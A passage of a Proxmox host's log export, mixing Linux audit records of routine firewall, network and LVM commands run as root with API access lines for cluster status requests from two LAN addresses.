sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964867711,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:14:26 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 465"} {"@timestamp":1781965785601,"@rawstring":"node=pve type=EXECVE msg=audit(1781965785.601:67084): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964166022,"@rawstring":"node=pve type=EXECVE msg=audit(1781964166.022:59864): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965465259,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965465.259:65725): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e8320 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63130 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965535517,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965535.517:66015): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=63402 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964866311,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:14:25 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1101"} {"@timestamp":1781965785593,"@rawstring":"node=pve type=EXECVE msg=audit(1781965785.593:67083): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964166015,"@rawstring":"node=pve type=EXECVE msg=audit(1781964166.015:59863): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965465253,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965465.253:65724): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63129 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965535503,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965535.503:66014): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63401 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964866311,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:14:25 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 471"} {"@timestamp":1781965785582,"@rawstring":"node=pve type=EXECVE msg=audit(1781965785.582:67082): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964166009,"@rawstring":"node=pve type=EXECVE msg=audit(1781964166.009:59862): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965465245,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965465.245:65723): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63128 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965535489,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965535.489:66013): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63400 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964864682,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:14:23 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1086"} {"@timestamp":1781965785565,"@rawstring":"node=pve type=EXECVE msg=audit(1781965785.565:67081): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964166004,"@rawstring":"node=pve type=EXECVE msg=audit(1781964166.004:59861): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965465243,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965465.243:65722): arch=c000003e syscall=59 success=yes exit=0 a0=58c4d88e5b20 a1=58c4d88f1ac0 a2=58c4d88bf680 a3=5 items=2 ppid=63121 pid=63127 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965535480,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965535.480:66012): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ae4b30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63399 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964864682,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:14:23 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 849"} {"@timestamp":1781965784289,"@rawstring":"node=pve type=EXECVE msg=audit(1781965784.289:67080): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964166000,"@rawstring":"node=pve type=EXECVE msg=audit(1781964166.000:59860): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965465239,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965465.239:65721): arch=c000003e syscall=59 success=yes exit=0 a0=58c4ceab4ac8 a1=7ffc4abed190 a2=58c4d88bf680 a3=58c4cea9824e items=2 ppid=63121 pid=63123 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965535466,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965535.466:66011): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb6920370 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63398 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964863272,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:14:22 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 473"} {"@timestamp":1781965784275,"@rawstring":"node=pve type=EXECVE msg=audit(1781965784.275:67077): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964166000,"@rawstring":"node=pve type=EXECVE msg=audit(1781964166.000:59859): argc=1 a0=\"date\""} {"@timestamp":1781965465237,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965465.237:65720): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc4abed150 a1=58c4d88e11c0 a2=58c4d88bf680 a3=5 items=2 ppid=63121 pid=63122 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965535452,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965535.452:66010): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc138ae0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63397 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964863272,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:14:22 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1083"} {"@timestamp":1781965784136,"@rawstring":"node=pve type=EXECVE msg=audit(1781965784.136:67074): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964165996,"@rawstring":"node=pve type=EXECVE msg=audit(1781964165.996:59857): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965465233,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965465.233:65718): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=63121 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965534614,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965534.614:66009): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d74182a0 a1=64f8d73b2970 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=63396 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964863272,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:14:22 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781965784108,"@rawstring":"node=pve type=EXECVE msg=audit(1781965784.108:67073): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964165990,"@rawstring":"node=pve type=EXECVE msg=audit(1781964165.990:59856): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965465227,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965465.227:65717): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63120 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965534579,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965534.579:66008): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73adbd0 a1=64f8d1915dc0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=63395 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964860653,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:14:19 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1086"} {"@timestamp":1781965780829,"@rawstring":"node=pve type=EXECVE msg=audit(1781965780.829:67072): argc=2 a0=\"awk\" a1=7B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781964165983,"@rawstring":"node=pve type=EXECVE msg=audit(1781964165.983:59855): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965465219,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965465.219:65716): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63119 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965533363,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965533.363:66007): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954bb0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63392 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964859630,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:14:19 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1083"} {"@timestamp":1781965780829,"@rawstring":"node=pve type=EXECVE msg=audit(1781965780.829:67071): argc=5 a0=\"ps\" a1=\"-C\" a2=\"kvm\" a3=\"-o\" a4=\"pss\""} {"@timestamp":1781964165977,"@rawstring":"node=pve type=EXECVE msg=audit(1781964165.977:59854): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965465215,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965465.215:65715): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b053f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63118 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965533352,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965533.352:66004): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954af0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63391 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964859630,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:14:18 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 466"} {"@timestamp":1781965780827,"@rawstring":"node=pve type=EXECVE msg=audit(1781965780.827:67070): argc=3 a0=\"awk\" a1=2F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D a2=\"/proc/meminfo\""} {"@timestamp":1781964165971,"@rawstring":"node=pve type=EXECVE msg=audit(1781964165.971:59853): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965465207,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965465.207:65714): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ecea0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63117 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965528343,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965528.343:66001): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63390 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964859630,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:14:18 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 468"} {"@timestamp":1781965779263,"@rawstring":"node=pve type=EXECVE msg=audit(1781965779.263:67069): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964165964,"@rawstring":"node=pve type=EXECVE msg=audit(1781964165.964:59852): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965465199,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965465.199:65713): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecba2b2700 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63116 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965528335,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965528.335:65998): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63389 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964858633,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:14:17 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 842"} {"@timestamp":1781965779254,"@rawstring":"node=pve type=EXECVE msg=audit(1781965779.254:67066): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964164641,"@rawstring":"node=pve type=EXECVE msg=audit(1781964164.641:59851): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965464706,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965464.706:65712): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73b2ce0 a1=64f8d73b2970 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=63115 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965525425,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965525.425:65995): arch=c000003e syscall=59 success=yes exit=0 a0=5b3826086b20 a1=5b38260929f0 a2=5b3826060680 a3=5 items=2 ppid=63382 pid=63388 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964856623,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:14:16 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1083"} {"@timestamp":1781965775549,"@rawstring":"node=pve type=EXECVE msg=audit(1781965775.549:67063): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964164609,"@rawstring":"node=pve type=EXECVE msg=audit(1781964164.609:59850): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965464680,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965464.680:65711): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d740c6a0 a1=64f8d73c2900 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=63114 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965525419,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965525.419:65994): arch=c000003e syscall=59 success=yes exit=0 a0=5b380e910ac8 a1=7ffee965c340 a2=5b3826060680 a3=5b380e8f424e items=2 ppid=63382 pid=63384 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964856623,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:14:15 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781965775546,"@rawstring":"node=pve type=EXECVE msg=audit(1781965775.546:67062): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964163147,"@rawstring":"node=pve type=EXECVE msg=audit(1781964163.147:59849): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965463095,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965463.095:65710): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899554b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63111 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965525417,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965525.417:65993): arch=c000003e syscall=59 success=yes exit=0 a0=7ffee965c300 a1=5b38260821c0 a2=5b3826060680 a3=5 items=2 ppid=63382 pid=63383 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964856623,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:14:15 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1086"} {"@timestamp":1781965775545,"@rawstring":"node=pve type=EXECVE msg=audit(1781965775.545:67061): argc=1 a0=\"date\""} {"@timestamp":1781964163135,"@rawstring":"node=pve type=EXECVE msg=audit(1781964163.135:59846): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965463081,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965463.081:65707): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899553f0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63110 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965525409,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965525.409:65991): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=63382 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964855610,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:14:14 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781965775539,"@rawstring":"node=pve type=EXECVE msg=audit(1781965775.539:67059): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964159526,"@rawstring":"node=pve type=EXECVE msg=audit(1781964159.526:59843): argc=2 a0=\"awk\" a1=7B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781965458073,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965458.073:65704): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789955330 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63109 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965525399,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965525.399:65990): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63381 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964853893,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:14:12 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1101"} {"@timestamp":1781965775532,"@rawstring":"node=pve type=EXECVE msg=audit(1781965775.532:67058): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964159526,"@rawstring":"node=pve type=EXECVE msg=audit(1781964159.526:59842): argc=5 a0=\"ps\" a1=\"-C\" a2=\"kvm\" a3=\"-o\" a4=\"pss\""} {"@timestamp":1781965458062,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965458.062:65701): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789955270 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63108 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965525387,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965525.387:65989): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63380 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964853893,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:14:12 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781965775524,"@rawstring":"node=pve type=EXECVE msg=audit(1781965775.524:67057): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964159525,"@rawstring":"node=pve type=EXECVE msg=audit(1781964159.525:59841): argc=3 a0=\"awk\" a1=2F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D a2=\"/proc/meminfo\""} {"@timestamp":1781965455190,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965455.190:65698): arch=c000003e syscall=59 success=yes exit=0 a0=633e808c4d70 a1=633e808d0f40 a2=633e8089e680 a3=5 items=2 ppid=63101 pid=63107 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965525378,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965525.378:65988): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63379 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) 